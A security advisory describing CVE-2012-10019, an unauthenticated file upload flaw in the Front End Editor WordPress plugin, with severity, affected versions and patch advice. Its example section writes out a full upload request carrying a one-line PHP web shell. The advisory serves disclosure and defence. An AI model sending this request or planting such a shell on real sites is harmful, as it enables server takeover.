Overview
The Common Vulnerabilities and Exposures (CVE) system has identified a critical vulnerability, designated as CVE-2012-10019, affecting the Front End Editor plugin for WordPress. This vulnerability allows for arbitrary file uploads due to missing file type validation in versions prior to 2.3. This issue is particularly concerning for WordPress site administrators, as it allows unauthenticated attackers the ability to upload arbitrary files to the affected site’s server. This can potentially lead to remote code execution, making it a significant threat to the integrity and security of a site.
Vulnerability Summary
CVE ID: CVE-2012-10019
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Front End Editor Plugin for WordPress | versions before 2.3
How the Exploit Works
In versions of the Front End Editor plugin prior to 2.3, the upload.php file lacks necessary file type validation. This allows unauthenticated users to upload arbitrary files to the server hosting the WordPress site. These uploaded files can include scripts or other executable content that, when run on the server, can lead to remote code execution. This means that an attacker can essentially take control of the server, leading to a potential system compromise or data leakage.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP POST request to the upload.php file with a malicious payload:
POST /wp-content/plugins/front-end-editor/lib/aloha-editor/plugins/extra/draganddropfiles/demo/upload.php HTTP/1.1
Host: target.example.com
Content-Length: [length]
Content-Type: multipart/form-data; boundary=[boundary]
-- [boundary]
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
-- [boundary]--In this example, an unauthenticated user is uploading a PHP file that could be used to execute arbitrary commands on the server.
Mitigation Guidance
It is highly recommended to apply the vendor patch, which includes updating the Front End Editor plugin to version 2.3 or later. As a temporary mitigation, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and prevent attempts to exploit this vulnerability.